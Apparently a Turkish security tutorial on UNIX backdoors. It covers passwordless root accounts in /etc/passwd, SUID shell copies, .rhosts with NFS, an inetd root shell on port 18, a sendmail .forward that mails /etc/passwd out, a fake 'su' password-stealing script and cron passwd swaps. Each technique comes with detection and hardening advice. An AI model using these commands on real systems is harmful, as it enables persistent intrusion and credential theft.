|
|
|
Unix Arka Kapıdan Korunmak İçin Neler Yapmalıyız
Fiziksel Güvenliğinizden Emin misiniz?
Bu bölümde UNIX sisteminde bulunabilecek arka kapilari görecegiz. UNIX sistemi Windows NT sistemine göre çok daha degisik bir yapiya sahiptir. Bunun nedeni de UNIX'in tamamen bir ag isletim sistemi olmasindandir. Örnek olarak bir NT makinesi kurup aga bagladiginizda aslinda üzerinde çok fazla çalisan servis yoktur. Önemli olarak ft, gopher ve http servisleri çalisiyordur. Ancak bir UNIX sunucu kurulumunda hemen hemen tüm internet protokolleri sisteme yüklü olacak ve ayni zamanda çalisiyor olacaktir. Bir makinede ne kadar çok servis açiksa o makinede o kadar çok açik olabilir demektir.
UNIX sunucusuna bir kullanicinin login olabilmesi için klasik olarak her kitapta söylendigi gibi bir kullanici adina bir de sifreye ihtiyaç vardir. Login satirindan kullanici adi ve sifresi girilerek ilgili UNIX shell komut satirina düser.
Ancak UNIX sistemi çok karmasik oldugundan aslinda hiç bir kullanici adi ve sifre gerektirmeden de sunucuya arka kapilardan girmek olanaklidir. Iste bu arka kapilari iyi bilmemiz sistemin açiklarini ve nasil kapatacagimizi daha iyi anlamamizi saglar. Bu nedenle bu bölümde biraz da bu konulara deginmek istiyorum.
Bu UNIX arka kapilari genellikle cracker'lar tarafindan bir sisteme girildikten ve root erisim hakki kazanildiktan sonra açik olarak birakilabilir. Bu durumda cracker bir dahaki sefere siz açiklarinizi kapatsaniz bile bu arka kapilardan sisteme tekrar erisim iznine sahip olacaktir.
Kisaca bakacak olursak UNIX arka kapilari /etc/passwd dosyasina root user ID'si ile sifresi olmayan bir kullanici eklemek gibi basitten, servis daemon'lari açmak gibi karmasik tekniklere sahiptir.
Simdi bu arka kapilari inceleyelim:
/etc/passwd arka kapisi: Bu bilinen en basit arka kapi teknigidir. UNIX kullanici acccount ve sifre bilgilerini /etc/passwd içinde tuttugu için bu dosyaya root ID (0)'sine sahip bir kullanici eklenirse bu kullanici sifre gerektirmeden sisteme login olabilir
echo "toor::0:1:root erisimi:/:/bin/sh" >> /etc/passwd
eger shadow pasword teknigi kulaniliyorsa /etc/shadow (bu örnek Red Hat sistemi için verilmistir) dosyasina da toor kullanicisinin eklenmesi gerekebilir. Bunun için readonly olan shadow dosyasinin haklari degistirilip gerekli eklenti yapilabilir:
chmod 600 /etc/shadow
echo "toor::11163:0:99999:7:::
Artik toor kullanicisiyla sifre girilmeden sisteme login olunabilir.
Dikkat: Bunun için /etc/passwd dosyasi düzenli olarak dikkatli bir sekilde izlenmelidir. Bu dosyada ki olabilecek degisiklikler sisteme bir cracker'in girdigine isaret olabilir. Passwd dosyasinda herhangi bir kullanicinin UID ve GID degerlerinin degisip degismedigi kontrol edilmelidir ve ayrica /etc/passwd dosyasinin herkes tarafindan yazilabilir olmamasina dikkat edilmelidir
SUID shell arka kapilari: UNIX sisteminde kullanicilarin yada programlarin bazi islemleri root erisim izni ile yapmalari gerekebilir. Örnek olarak normal bir kullanici UNIX sifre dosyalarina erisim izni yoktur. /etc/shadow dosyasi sadece root kullanicisi tarafindan okuma hakkina sahiptir. Ancak kullanici sifresini degistirmek isteyebilir. Bunun için kullanilan komut passwd programidir.
Iste bu gibi durumlarda UNIX'te SUID root programlari vardir. Bu tür dosyalar setuid izin bitleri set edilmis dosyalardir ve bu tür programlar kendisini çalistiran kullanicinin erisim haklarina degil root erisim haklarina sahip olurlar.
Yani kullanici sifresini degistirmek için passwd programini çalistirdigi zaman (passwd bir suid programidir) program ilk olarak kullanicinin ID'sini degistirerek ona superuser kullanici haklarini verir ve islemlerini yaptiktan sonra da kullanicinin ID'sini tekrar eski durumuna alir ve kullanicinin kendi erisim haklari geçerli olur.
Iste bu nedenle suid programlari UNIX sistemlerinde en tehlikeli açiklari olusturmaktadirlar. Bir düsünün bir suid programinda bir açik varsa bunun anlami o programi kullanan bir saldirgan tüm sisteme hakim olabilir demektir. Örnek olarak sendmail (smtp sunucusu) programi da bir suid programidir ve root erisim haklari ile çalisir. Dolayisiyla bu program internet ortaminda çok fazla tehlike olusturmaktadir. sendmail programi genellikle tüm Internet'e açik oldugu düsünülürse zaman zaman bu programda bulunan açiklar tüm sistemi tehlike altina atmaktadir.
Simdi bir programin nasil suid hakkinin verildigini görelim. Bunu erisim haklarini degistiren chmod komutuyla yapabiliriz.
chmod 4755 program
artik "program" dosyasi çalistirilirsa bu program superuser haklarina sahip olacaktir ve sistemde her türlü degisiklige izin verecektir.
Simdi bu suid programlarini kullanarak sistemde nasil bir arka kapinin olabilecegine bakalim:
Cracker sistemde bir kere root erisim izni elde ettiginde ilk yapacagi sey, suid programi olan root shell programinin bir kopyasini almaktir.
cp /bin/sh /home/cracker/root_shell
chmod 4755 /home/cracker/root_shell
(yada chmod a+s /home/cracker/root_shell)
Yukaridaki komutlar root shell programi olan /etc/sh dosyasini cracker'in home dizinine kopyalamaktadir. Daha sonra chmod komutuyla bu dosyanin setuid biti set edilerek suid programi olmasi saglanmaktadir. Ve herkese bu programi çalistirma izni vermektedir.
Artik cracker istedigi bir anda, root erisim izni olmasa bile sadece /home/cracker/root_shell programini çalistirarak sistemde root erisim iznine sahip olacaktir.
Dikkat: Daha öncede belirttigim gibi suid programlari çok tehlikeli programlar oldugu için sistemde bu tür dosyalarin olup olmadigi kontrol edilerek sisteme arka kapi olusturacak tehlikeli programlarin olup olmadigina bakilmalidir.
Bunun için sistemdeki suid programlarini aramak için çok güçlü bir araç olan find komutunu kullanabiliriz.
find / -user root -perm -4000 -print
Bu komut root dizininden (/) baslayarak tüm sistemdeki suid programlarini bularak listeler.
Komutu kisaca incelersek; root dizininden baslayarak (/), tüm sistemdeki root kullanicisinin sahip oldugu (-user root) ve setuid izin biti set edilmis olan (-perm -4000) dosyalari bularak terminale (-print) listeler.
Diger yandan herkes tarafindan yazma hakkina sahip dosyalarin da kontrol edilmesi gerekmektedir. Bunun için find komutunda (-perm -2) parametresi kullanilabilir. Ayrica setgid programlarida (-perm -2000) parametresi ile bulunabilir.
Genel bir kural olarak dot dosyalari dedigimiz '.' Ile baslayan dosyalarin herkes tarafindan yazilabilir olmamasina dikkat edilmelidir ve shell script'lerin setuid ve setgid olmamalarina dikkat edilmelidir.
rhosts + + arka kapisi: Daha önce r komutlarindan bahsederken rlogin ve rsh gibi uzaktan sisteme login saglayan servislerin /etc/hosts.equiv ve .rhosts dosyalarininda belirtilen kullanici ve host'lara sifresiz erisim izni verdigini söylemistik.
Iste eger bir kullanicinin home dizininde .rhosts dosyasi varsa ve için de + + seklinde bir satir varsa bunun anlami herhangi bir sistemden herhangi bir kullanici olarak bu kullanicinin account'una erisim izni vermektedir.
Bu yöntem NFS ile export edilen dosya sistemlerindeki zayiflikla birlestirilerek cracker'lar tarafindan bir sisteme sifresiz erisim saglamak için kullanilmaktadir. Simdi bu sekilde bir saldirinin nasil yapildigina bakalim:
Ilk olarak NFS ile export edilen dosya sistemlerinin uzak bir sistemden nasil mount edildigine bakalim.
showmount -e hedef_sunucu.com
export list for hedef_sunucu.com
/home (everyone)
/var (everyone)
/usr easy
Burda sunucu üzerinde /home ile kullanici dizinleri export ediliyorsa, karsi sistemde bulunan guest kullanicisinin ana dizininin herkese açik olarakak export ediliyor demektir.
Bunu gören bir cracker hemen sisteme login olmak için bir saldiri baslatacaktir. Simdi cracker'in bu açigi nasil kullandigina bakalim:
mount hedef_sunucu.com:/home /foo
cd /foo
ls -lag
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47.
1 drwxr-xr-x 7 root wheel 512 Jun 19 09:47..
1 drwxr-xr-x 9 10001 wheel 512 Jun 19 09:47 guest
echo "guest:x:10001:1:gecici cracker hesabi:/:" >> /etc/passwd
ls -lag
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47.
1 drwxr-xr-x 7 root wheel 512 Jun 19 09:47..
1 drwxr-xr-x 9 guest wheel 512 Jun 19 09:47 guest
su guest
echo "+ +" >> guest/.rhosts
rlogin hedef_sunucu.com
Welcome to hedef_sunucu.com
Cracker ilk olaram mount komutuyla hedef sistemin export ettigi /home dizinine baglanmaktadir. Daha sonra bu dizinde bulunan guest kullanicisini kendi yerel sistemde de tanimlamaktadir passwd dosyasina yazarak.
Daha sonra bu kullanicinin hesabina geçerek , su komutuyla , karsi sistemde guest kullanicisinin ana dizinine .rhosts dosyasini olusturmakta ve içinme "+ +" satirini girmektedir. Artik bu kullanicinin hesabina hiç bir sifre gerektirmeden girebilir cracker. Bunu da rlogin komutuyla yapmaktadir.
Dikkat: Daha önce de söyledigimiz gibi r komutlari sisteme baglanan kullaniciyi IP numarasi üzerinden onayladigi için güvensiz komutlardir. Bunlarin hiç çalistirilmamasi en iyi yol olacaktir. Bunun için /etc/inetd.conf dosyasinda rpc.rlogind, rpc.rexecd ve rpc.rshd satirlarinin kaldirilmasi yeterlidir.
Bu servisleri çalistirmak gerekiyorsa da daha önce de söyledigimiz gibi /etc/hosts.equiv dosyasinda "+" gibi isaretlerin olmamasina dikkat edilmelidir. Ve ayrica kullanici dizinlerinde .rhosts dosyalarinin olmamasina dikkat edilmelidir.
Diger yandan NFS ile ilgili olarak export edilen dosya sistemlerin çok dikatli bir sekilde seçilmesi ve erisim haklarinin da yine en kisitli olacak sekilde olmasina dikkat edilmelidir.
inetd daemon arka kapilari : UNIX sisteminde ag servis daemon'lari, telnetd, ftpd gibi... devamli olarak hafizada çalisir durumda degildir. Eger bu sekilde olsaydi o anda kullanilmayan servisler bile sistem hafizasinda çalisarak bosu bosuna sistem kaynaklarini tüketecektir. Ancak bu servislerin yerine sadece bir daemon çalisir o da inetd servisidir.
inetd sisteme gelen tüm baglanti isteklerini dinleyerek gelen istege göre ilgili daemon'u çalistirarak istege cevap vermesini saglar. Örnek olarak bir sunucuya telnet yapildiginda inetd telnetd sunucusunu çalistirir ve bu istegi ona yönlendirir ve kendisi tekrar yeni gelecek olan istekleri dinlemeye devam eder.
inetd hangi istekleri hangi programlara yönlendirecegini /etc/services ve /etc/inetd.conf konfigürasyon dosyalarina bakarak anlar.
Iste cracker bu dosyalarla oynayarak sisteme servis bazinda hiç bir sifre gerektirmeden erisim saglayabilir. Simdi bunun nasil yapildigina bakalim:
Bunun yapmanin iki yolu vardir ya sistemde çalisan ancak kullanilmayan bir servisin degistirilmesi ya da tramamen yeni bir servisin eklenmesi seklinde olabilir. Biz simdi tamamen yeni bir servisin girildigini düsünelim:
Bunun için ilk olarak /etc/services dosyasina yeni servisin adini tanimlamaliyiz.
...
daytime 13/udp # Day-time Daemon UDP
netstat 15/tcp
quote 17/udp
chargen 19/tcp
chargen 19/udp
...
Yukaridaki services dosyasinin içerigine bakacak olursak 18 numarali tcp portunun kullanilmadigini görürüz. Yeni servis için bu portu kullanabiliriz bunun için services dosyasina asagidaki gibi bir satir ekleyebilirz:
...
crackdoor 18/tcp
....
cracdoor adli servisi tanimladiktan sonra /etc/inetd.conf dosyasina giderek yeni servisin hangi programi kullanacagini tanimlayacagiz: Bunun için inetd.conf dosyasina asagidaki bir satir girebiliriz:
...
crackdoor stream tcp nowait root /bin/sh sh -i
...
Bu degisikliklerin inetd daemon'u tarafindan aktif edilebilmesi için tekrar baslatilmasi gerekmektedir. Bunun için
killall -HUP inetd
komutu kullanilir. Artik bu noktadan sonra inetd sunucusuna 18 numarali porta bir baglanti istegi geldiginde sh shell programi çalistirilip bu porta baglanacaktir ve gelen komutlari çalistiracaktir.
Artik cracker istedigi bir zamanda hedef_sunucu makinenin 18 numarali portuna telnet yaptiginda sh (root shell) programi çalisacak ve cracker'a bir root shell ortami açacaktir J
telnet hedef_sunucu 18
Trying hedef_sunucu...
Connected to hedef_sunucu.
Escape character is '^]'.
Dikkat: inetd tarafindan çalistirilan servislerin çok iyi bir sekilde kontrol edilmesi ve özellikle /etc/inetd.conf dosyasindan çalistirilan programlar arasinda shell programlarinin (/bin/csh, /bin/sh...) olmamasina dikkat edilmelidir.
Ayrica /etc/inetd.conf dosyasinin herkes tarafindan yazilabilir olmamasina dikkat edilmelidir.
sendmail arka kapilari: sendmail programi kullanicilara mail göndermek için kullanilan bir sunucudur. Ancak bu sunucunun yanlis konfigürasyonu ve bununla birlikte diger bazi açiklarin birakilmasiyla baglantili olarak saldirgan sistemde istedigi komutu çalistirma hakkina sahip olabilir.
Örnek olarak sendmail'in .forward özelligini ele alalim. Sendmail kullanicilara home dizinlerinde bir .forward dosyasi olusturarak kendilerine bir mail geldiginde bu mailin baska bir adrese yönlendirmesine izin verir. Ancak aslinda bu .forward dosyasi bir kullaniciya mail geldiginde çalistirilan bir script dosyasidir ve içerisine istenilen komutlar yazilabilir. Simdi hedef_sunucu'sunun ftp home dizininin herkes tarafindan yazilabilir bir sekilde konfigüre edildigini düsünelim. (Hatirlarsaniz ftp dizininin herkes tarafindan yazilabilir olmasini bir güvenlik açigi olarak nitelendirmistik!)
Bu durumda cracker hemen bu sisteme bir saldiri düzenleyip uzaktan istedigi komutu çalistirabilir. Bunun için yapmasi gereken islemlere bir bakalim:
echo "|/bin/mail cracker@c***k.com < /etc/passwd" > forward_dosyasi
ftp hedef_sunucu
Connected to hedef_sunucu
220 hedef_sunucu FTP server ready.
Name : anonymous
331 Guest login ok, send ident as password
Password:
230 Guest login ok, access restrictions apply
ftp>put forward_dosyasi .forward
43 bytes sent ...
ftp>quit
echo "deneme" | mail ftp@hedef_sunucu.com
Cracker ilk olarak hedef sunucu ftp ana dizinine atacagi .forward dosyasini olusturmaktadir. Bu dosyanin içine yazilan komut,
/bin/mail cracker@c***k.com < /etc/passwd
ftp kullanicisina mail geldigi zaman çalistirilacak komuttur. Ve görüldügü gibi cracker /etc/passwd dosyasini ele geçirmeye çalismaktadir. Buraya baska komutlar da yazilabilir, suid shell programlari olusturacak komutlar gibi.
Daha sonra cracker sunucuya ftp yaparak bu dosyayi .forward adiyla hedef sisteme atmistir. Artik ftp'den çikarak ftp kullanicisina bir mail gönderebilir ve daha sonra karsi sistemin /etc/passwd dosyasinin kendi mail adresine gelmesini bekleyecektir.
Ayni sey yazilabilir olarak export edilen kullanici ana dizinlerinde de yapilabilir.
Dikkat: Görüldügü gibi sendmail programinin güvenlik yönünden gerçekten çok iyi bir sekilde konfigüre edilmesi gerekmektedir.
.forward dosyalarinin dosya sahibi disinda baskalari tarafindan yazilabilir olamamasina dikkat edilmelidir. Ayrica ayricalikli haklara sahip olan kullanicilar, bin, root gibi, .forward dosyalari olmamalidir onun yerine sendmail aliases dosyasi kullanilmalidir.
sendmail ile ilgili güvenlik ayarlari sendmail dökümanlarinda bulunabilir.
Trojan ati teknikleri: Trojan ati teknikleri, zararsiz gibi görünen programlarin, yada sistem araçlarinin, login, telnet, su gibi.., trojanli sürümüyle degistirilerek yapilirlar.
Buna su trojan örnegini verebiliriz. su programi kullanicinin baska bir account'a geçmek için kullandigi bir araçtir. Örnek olarak kullanici root erisim iznine geçmek için
su root
Password:
Seklinde root kullanici ismini ve sifresini girerek geçebilir. Ancak bir cracker kullanicinin ana dizinine su adinda bir shell script yerlestirerek kullanicinin girdigi sifreyi kend imail adresine postalayabilir. Bunun için asagidaki gibi bir su shell programi olusturmasi yeterlidir:
..
stty -echo
echo -n "Password:"
read PASSWD
stty echo
echo
echo "Sorry"
echo "$1 / $2 :$PASSWD" | mail cracker@cracker.com
rm $0
kill -9 $PPID
...
Bu shell programi sanki gerçek sistem su komutu gibi kullanicidan sifreyi istemektedir. Daha sonra da bu sifreyi cracker'in adresine göndermekte ve programi kullanici dizininden silmektedir.
Ancak bu programin çalismasi için kullanici PATH degiskeninde modifiye edilmesi gerekmektedir. Zira kulanici su komutunu girdiginde sistem bu komutu ilk olarak sistem dizinlerinde "/usr/bin" gibi... arayacaktir. Ilk olarak kullanicinin ana dizinine bakmasini saglamak için kulanicinin .profile dosyasina:
..
PATH=.:/usr/bin:/bin:/usr/local/bin:/sbin
export PATH
...
satirlarini girmek yeterlidir. Ayni taktik telnet komutunu degistirmek için de kullanilabilir. telnet adinda bir shell script yazilarak kullanicidan baglanacagi sistemdeki kullanici adi ve sifresi okunabilir ve daha sonra bu bilgiler cracker adresine gönderildikten sonra hata verilerek programdan çikilabilir!
cron ve at trojanlari : cron ve at tarafindan çalistirilan dosyalarda da arka kapilar olabilir. Örnek olarak root crontab dosyasi (/var/spool/cron/crontabs/root) root erisim haklariyla çalistigi için bu dosya içerisine yazilacak komutlar belli zamanlarda çalisarak cracker'a sisteme erisim hakki verebilir. Crontab dosyasinin yapisi asagidaki gibidir:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/chg_passwd
1-5 arasi sutunlar sirasiyla: dakika (0-59), saat (0-59), gün (1-31), ay (1-12), haftanin günü (0-6) en son sutun ise çalistirilacak programi belirler. Yukaridaki örnekte her hafta Pazartesi günü saat tam 0:0'da chg_passwd programinin çalistirilacagini gösterir.
Yukaridaki chg_passwd shell programi cracker tarafindan yazilmis bir script olabilir. Bu script asagidaki gibi olabilir,
...
cp /etc/passwd /etc/temppasswd
cp /tmp/yenipasswd /etc/passwd
sleep 60
mv /etc/temppasswd /etc/passwd
....
Bu script orijinal etc/passwd sifre dosyasinin cracker'in hazirladigi yeni dosyayla degistirilmesini saglar. Bu degisimden sonra script 60 saniye uyuyacaktir ve sonra tekrar orijinal sifre dosyasini yerine koyacaktir. Bu sekilde cracker her Pazartesi saat 0:0'da sisteme 60 saniye süresince girme hakkina sahip olacaktir J.
Tabi burada crontab servisiyle yapilabilecek arka kapilar ve yapilabilecek isler sinirsiz sayida denilebilecek kadar çoktur. Cracker'in hayal gücüne kalmistir artik, mesela cracker crontab içine yerlestirdigi gizli bir script ile her gün /etc/passwd dosyasinin kendi mail adresine postalanmasini saglayabilir bu sekilde sisteme eklenen yeni kullanicilari takip edebilir.
Dikkat: crontab ve at dosyalarinin her zaman kontrol altinda olmasina dikkat edin. Bu dosyalardaki degisiklikler sisteme bir cracker'in girdiginin belirtisi olabilir.
Ayrica sistemde sistem komutlariyla ayni isme sahip yeni dosyalarin olusturulup olusturlulmadigi da kontrol edilmelidir.
Diger teknikler: UNIX sistemlerinde yukarida saydiklarimizdan çok daha fazla arka kapi teknikleri vardir. Burada hepsini ayrintili olarak anlatmak sayfalarca sürebilir o nedenle diger tekniklerin sadece ismini vermekle yetinecegim.
Yukarida sayilan teknikler, herkes tarafindan kullanilabilir teknikler olmakla birlikte çok fazla sistem bilgisi ve programlama bilgisi gerektiren teknikler de vardir.
Diger teknikler arasinda asagidakileri sayabiliriz:
login arka kapisi,
telnetd arka kapisi,
library arka kapilari,
kernel arka kapilari,
file sistem arka kapilari,
bootblock arka kapilari,
process saklama teknikleri,
network trafik arka kapilari,
TCP shell arka kapilari,
UDP shell arka kapilari,
ICMP shell arka kapilari,
Sifrelenmis baglanti teknikleri,
Çözüm
Yukarida da gördügümüz gibi bir UNIX sistemine girmenin binbir yolu vardir ve bir sisteme bir cracker girdigi zaman sisteme tekrar girebilmek için geride çok degisik arka kapilar birakabilir.
Bütünlük kontrolü: Bunlara karsi alinacak en iyi önlem tripwire gibi sistem bütünlügünü saglayan araçlari kullanmaktir. Tripwire programina daha önce deginmistik. Yukarida belirtilen arka kapilari bu araçla yakalayabilirsiniz. Tripwire en son çalismasindan beri hangi dosyalarin degistigini listeledigi için sistemde hangi degisikliklerin oldugunu anlayabilirsiniz.
Konfigürasyon ayarlari: Ancak tripwire'in yaninda sistemdeki yanlis konfigürasyon ayarlarinin da kontrol edilmesi gerekmektedir. suid programlarinin tespiti, herkese yazma hakki verilen dizinlerin belirlenmesi gibi.
Tabi tüm bunlarin elle yapilmasi sistem yöneticisi için gerçekten zahmetli ve zaman alici bir istir. Diger yandan sistem yöneticisinin bilmedigi alanlardaki açiklar gözden kaçabilir. |
|
|
|
|
|
|